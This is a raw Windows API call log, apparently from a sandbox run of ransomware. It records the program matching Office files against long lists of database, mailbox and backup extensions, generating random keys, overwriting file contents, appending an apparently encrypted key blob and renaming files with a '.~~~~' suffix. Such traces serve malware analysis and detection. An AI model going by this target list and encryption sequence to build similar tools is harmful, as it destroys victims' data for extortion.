	[0142.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".ckp") returned 0x0
	[0142.824] lstrlenW (lpString=".dbt") returned 4
	[0142.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".dbt") returned 0x0
	[0142.824] lstrlenW (lpString=".db") returned 3
	[0142.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".db") returned 0x0
	[0142.824] lstrlenW (lpString=".TXT") returned 4
	[0142.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".TXT") returned 0x0
	[0142.824] lstrlenW (lpString=".MDF") returned 4
	[0142.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".MDF") returned 0x0
	[0142.824] lstrlenW (lpString=".bdb") returned 4
	[0142.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".bdb") returned 0x0
	[0142.824] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0142.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.824] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0142.825] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.825] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.826] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0142.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0142.826] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26281592439) returned 1
	[0142.826] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbe882710, dwHighDateTime=0x1d60e1e)) 
	[0142.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0142.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0142.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0142.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe5c8
	[0142.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.827] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe5c8 | out: hHeap=0x300000) returned 1
	[0142.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.827] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aa278
	[0142.827] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0142.827] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aa278 | out: hHeap=0x300000) returned 1
	[0142.827] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0142.827] GetLastError () returned 0x0
	[0142.828] GetLastError () returned 0x0
	[0142.828] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0142.828] GetLastError () returned 0x0
	[0142.828] GetLastError () returned 0x0
	[0142.828] ReadFile (in: hFile=0x114, lpBuffer=0x2a840c8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesRead=0x1f8fec0*=0x4660, lpOverlapped=0x0) returned 1
	[0142.831] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffb9a0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.831] WriteFile (in: hFile=0x114, lpBuffer=0x2a840c8*, nNumberOfBytesToWrite=0x4660, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesWritten=0x1f8fec0*=0x4660, lpOverlapped=0x0) returned 1
	[0142.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a840c8 | out: hHeap=0x300000) returned 1
	[0142.831] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.831] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.831] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.831] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.831] CloseHandle (hObject=0x114) returned 1
	[0142.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aa278
	[0142.832] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir35f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir35f.gif.~~~~")) returned 1
	[0142.834] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aa278 | out: hHeap=0x300000) returned 1
	[0142.834] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0142.834] GetLastError () returned 0x0
	[0142.835] RtlWakeConditionVariable () returned 0x0
	[0142.835] GetCurrentThreadId () returned 0xaf0
	[0142.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".scr") returned 0x0
	[0142.835] lstrlenW (lpString=".cmd") returned 4
	[0142.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".cmd") returned 0x0
	[0142.835] lstrlenW (lpString=".dll") returned 4
	[0142.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".dll") returned 0x0
	[0142.835] lstrlenW (lpString=".bat") returned 4
	[0142.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".bat") returned 0x0
	[0142.835] lstrlenW (lpString=".cpl") returned 4
	[0142.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".cpl") returned 0x0
	[0142.835] lstrlenW (lpString=".sys") returned 4
	[0142.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".sys") returned 0x0
	[0142.835] lstrlenW (lpString=".msc") returned 4
	[0142.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".msc") returned 0x0
	[0142.835] lstrlenW (lpString=".com") returned 4
	[0142.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".com") returned 0x0
	[0142.835] lstrlenW (lpString=".lnk") returned 4
	[0142.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".lnk") returned 0x0
	[0142.835] lstrlenW (lpString=".msp") returned 4
	[0142.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".msp") returned 0x0
	[0142.835] lstrlenW (lpString=".pif") returned 4
	[0142.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".pif") returned 0x0
	[0142.835] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.836] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir36f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0142.838] lstrlenW (lpString=".sqb") returned 4
	[0142.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".sqb") returned 0x0
	[0142.839] lstrlenW (lpString=".ost") returned 4
	[0142.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".ost") returned 0x0
	[0142.839] lstrlenW (lpString=".txt") returned 4
	[0142.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".txt") returned 0x0
	[0142.839] lstrlenW (lpString=".mdt") returned 4
	[0142.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".mdt") returned 0x0
	[0142.839] lstrlenW (lpString=".BDB") returned 4
	[0142.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".BDB") returned 0x0
	[0142.839] lstrlenW (lpString=".eql") returned 4
	[0142.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".eql") returned 0x0
	[0142.839] lstrlenW (lpString=".DBF") returned 4
	[0142.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".DBF") returned 0x0
	[0142.839] lstrlenW (lpString=".EQL") returned 4
	[0142.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".EQL") returned 0x0
	[0142.839] lstrlenW (lpString=".FDB") returned 4
	[0142.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".FDB") returned 0x0
	[0142.839] lstrlenW (lpString=".EDB") returned 4
	[0142.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".EDB") returned 0x0
	[0142.839] lstrlenW (lpString=".DACPAC") returned 7
	[0142.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.839] lstrlenW (lpString=".VHD") returned 4
	[0142.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".VHD") returned 0x0
	[0142.839] lstrlenW (lpString=".DBV") returned 4
	[0142.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".DBV") returned 0x0
	[0142.839] lstrlenW (lpString=".dacpac") returned 7
	[0142.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.840] lstrlenW (lpString=".sdf") returned 4
	[0142.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".sdf") returned 0x0
	[0142.840] lstrlenW (lpString=".accdb") returned 6
	[0142.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".accdb") returned 0x0
	[0142.840] lstrlenW (lpString=".DBX") returned 4
	[0142.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".DBX") returned 0x0
	[0142.840] lstrlenW (lpString=".MDT") returned 4
	[0142.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".MDT") returned 0x0
	[0142.840] lstrlenW (lpString=".SQB") returned 4
	[0142.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".SQB") returned 0x0
	[0142.840] lstrlenW (lpString=".vhd") returned 4
	[0142.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".vhd") returned 0x0
	[0142.840] lstrlenW (lpString=".bac") returned 4
	[0142.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".bac") returned 0x0
	[0142.840] lstrlenW (lpString=".mdf") returned 4
	[0142.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".mdf") returned 0x0
	[0142.840] lstrlenW (lpString=".BAK") returned 4
	[0142.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".BAK") returned 0x0
	[0142.840] lstrlenW (lpString=".BAC") returned 4
	[0142.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".BAC") returned 0x0
	[0142.840] lstrlenW (lpString=".dbs") returned 4
	[0142.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".dbs") returned 0x0
	[0142.840] lstrlenW (lpString=".vhdx") returned 5
	[0142.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.840] lstrlenW (lpString=".NDF") returned 4
	[0142.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".NDF") returned 0x0
	[0142.841] lstrlenW (lpString=".dat") returned 4
	[0142.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".dat") returned 0x0
	[0142.841] lstrlenW (lpString=".DBS") returned 4
	[0142.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".DBS") returned 0x0
	[0142.841] lstrlenW (lpString=".CKP") returned 4
	[0142.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".CKP") returned 0x0
	[0142.841] lstrlenW (lpString=".edb") returned 4
	[0142.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".edb") returned 0x0
	[0142.841] lstrlenW (lpString=".PST") returned 4
	[0142.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".PST") returned 0x0
	[0142.841] lstrlenW (lpString=".dbf") returned 4
	[0142.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".dbf") returned 0x0
	[0142.841] lstrlenW (lpString=".SQL") returned 4
	[0142.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".SQL") returned 0x0
	[0142.841] lstrlenW (lpString=".pst") returned 4
	[0142.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".pst") returned 0x0
	[0142.841] lstrlenW (lpString=".dbv") returned 4
	[0142.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".dbv") returned 0x0
	[0142.841] lstrlenW (lpString=".SDF") returned 4
	[0142.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".SDF") returned 0x0
	[0142.841] lstrlenW (lpString=".dtxs") returned 5
	[0142.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.841] lstrlenW (lpString=".db3") returned 4
	[0142.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".db3") returned 0x0
	[0142.841] lstrlenW (lpString=".OST") returned 4
	[0142.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".OST") returned 0x0
	[0142.841] lstrlenW (lpString=".dbx") returned 4
	[0142.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".dbx") returned 0x0
	[0142.842] lstrlenW (lpString=".DB3") returned 4
	[0142.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".DB3") returned 0x0
	[0142.842] lstrlenW (lpString=".DAT") returned 4
	[0142.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".DAT") returned 0x0
	[0142.842] lstrlenW (lpString=".VHDX") returned 5
	[0142.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.842] lstrlenW (lpString=".ndf") returned 4
	[0142.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".ndf") returned 0x0
	[0142.842] lstrlenW (lpString=".DB") returned 3
	[0142.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".DB") returned 0x0
	[0142.842] lstrlenW (lpString=".sql") returned 4
	[0142.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".sql") returned 0x0
	[0142.842] lstrlenW (lpString=".MYD") returned 4
	[0142.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".MYD") returned 0x0
	[0142.842] lstrlenW (lpString=".DBT") returned 4
	[0142.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".DBT") returned 0x0
	[0142.842] lstrlenW (lpString=".ACCDB") returned 6
	[0142.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.842] lstrlenW (lpString=".fdb") returned 4
	[0142.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".fdb") returned 0x0
	[0142.842] lstrlenW (lpString=".bak") returned 4
	[0142.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".bak") returned 0x0
	[0142.843] lstrlenW (lpString=".myd") returned 4
	[0142.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".myd") returned 0x0
	[0142.843] lstrlenW (lpString=".DTXS") returned 5
	[0142.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.843] lstrlenW (lpString=".ckp") returned 4
	[0142.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".ckp") returned 0x0
	[0142.843] lstrlenW (lpString=".dbt") returned 4
	[0142.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".dbt") returned 0x0
	[0142.843] lstrlenW (lpString=".db") returned 3
	[0142.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".db") returned 0x0
	[0142.843] lstrlenW (lpString=".TXT") returned 4
	[0142.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".TXT") returned 0x0
	[0142.843] lstrlenW (lpString=".MDF") returned 4
	[0142.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".MDF") returned 0x0
	[0142.843] lstrlenW (lpString=".bdb") returned 4
	[0142.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".bdb") returned 0x0
	[0142.843] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0142.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.844] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0142.845] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.845] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0142.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0142.845] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26283509092) returned 1
	[0142.845] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbe8ce9d0, dwHighDateTime=0x1d60e1e)) 
	[0142.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0142.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0142.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0142.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe600
	[0142.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe600 | out: hHeap=0x300000) returned 1
	[0142.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aa710
	[0142.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
